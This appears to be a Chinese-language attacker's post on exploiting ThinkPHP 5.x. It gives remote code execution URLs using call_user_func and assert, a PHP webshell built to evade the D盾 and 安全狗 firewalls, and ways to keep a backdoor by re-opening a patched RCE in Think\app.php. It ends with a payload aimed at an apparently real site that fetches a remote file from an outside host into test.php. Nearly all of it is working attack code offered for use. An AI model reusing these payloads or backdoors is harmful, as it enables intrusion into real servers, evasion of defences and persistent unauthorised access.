环境:
Thinkphp 5.0.15
PHP version:7.0.12
WAF: D盾 ,安全狗
Thinkphp 采用 MVC 模式 核心:模块 -> 控制器 –> 方法
思路:利用已经有的think 类包库 去做一些事情
利用已有的功能,顺便对D盾 绕过
方法:
Payload1:
http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo()
Payload2:
http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’)
代码:
php namespace app\index\controller; use \think\App; class index { public function index($f,$shell) { $a=new App(); $c=$a->invokeFunction($f,$shell); return ' sucess'; } }
关于用这个的来源:
Thinkphp5 rce 漏洞 其中一个payload 是这样的
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
漏洞原因:默认没有开启强制路由,路由控制不严谨,可以执行自己需要的类库
在think 类库中找到自己需要的功能,进行触发调用
先贴一个不需要thinkphp 环境下 过D盾 和安全狗的 马
php function invokeFunction($function, $vars = []) { $reflect = new ReflectionFunction($function); return $reflect->invokeArgs($vars); } $function='a'.'ssert'; $vars=$_GET[1]; invokeFunction($function,$vars); ?>
还有一种思路,创建类或者函数,进行包含绕过,有兴趣的可以自己试一下。、
然后对于thinkphp 权限维持的思路,因为本身内核存在RCE, -这里假设打了补丁的RCE 被某洞获得到权限
演示以thinkphp 最新版本 5.0.24
在Think\app.php 文件内,把! 删掉 就可以继续RCE 了 (只是提供一种维持思路)
后来想了下,这样对整个站点都不安全了,不适合维持。可以在前面在加一段IF 开关条件 符合就不执行preg_math 这一段,对RCE的漏洞入口进行一个管理操作~
就可以继续任意执行了
tp 在 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。 在模板调用的时候 有任意文件包含漏洞,可以自己写一个,当作后门。
附赠:
关于thinkphp rce 绕WAF or 宝塔
这里用了宝塔做测试:
http://yishangtv.com/index.php?s=&echod=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
思路:绕敏感函数,和正则匹配